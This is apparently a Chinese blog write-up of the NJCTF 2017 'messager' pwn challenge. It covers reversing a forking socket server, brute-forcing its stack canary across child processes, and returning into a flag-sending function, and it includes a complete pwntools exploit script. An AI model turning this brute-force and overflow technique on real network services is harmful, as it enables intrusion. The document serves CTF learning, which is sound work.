0%

【Pwn#0x0B】NJCTF 2017 messager

省流:Canary爆破,顺便复习了一下Linux socket API,还知道了IDA View下右键数值常量可以查找对应的枚举名(前提是要指知道枚举名的开头)(比如AF_INET、SOCK_STREAM等)。

程序逆向

一开始程序创建了一个监听套接字,逆向得到逻辑大致如下:

1
2
3
4
5
6
7
8
9
static struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(5555);
addr.sin_addr.s_addr = htonl(0); // 0.0.0.0

static int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(listen_fd, ...);
bind(listen_fd, &addr, 0x10);
listen(listen_fd, 0x400);

创建完毕后,主进程进入 accept-fork-close 循环。
而 fork 出的子进程会调用函数 sub_400BE9 从套接字读取输入(存在栈溢出),如果正常返回,会向套接字发送 “Message received!\n” 然后退出。

漏洞利用

程序一开始会把 flag 读到 bss 段的 602160 处,还有一个 sub_400bc6 函数会把这个 flag 直接发给套接字。(出题人真友好)
因此这题的漏洞利用逻辑就是经典的利用子进程 canary 不变的特点爆破出 canary,然后 ret2text。

解题脚本

学习了下 try-catch-finally 的结构,以及脚本写成模块化的思想。注意在 try 当中尝试接受套接字的消息,但是由于此时服务器已经关闭套接字,所以这里会引起 EOFexception,跳到 except。
finally 中的代码不论如何都会被执行,非常适合用来关闭文件、关闭套接字等操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def leak_canary():
global canary
canary = b"\x00"
p = log.progress('Canary BruteForce')
while len(canary) < 8:
for ch in range(0xff):
io = remote("127.0.0.1", 5555, level="critical")
io.recv()
io.send(b"a"*0x68 + canary + pack(ch, 8))
try:
io.recv()
canary += pack(ch, 8)
break
except:
continue
finally:
io.close()
p.status(repr(canary))

p.success(repr(canary))

def pwn():
io = remote("127.0.0.1", 5555)
io.send(b"a"*0x68 + canary + b'a'*8 + pack(0x400bc6))
io.interactive()

if __name__ == '__main__':
leak_canary()
pwn()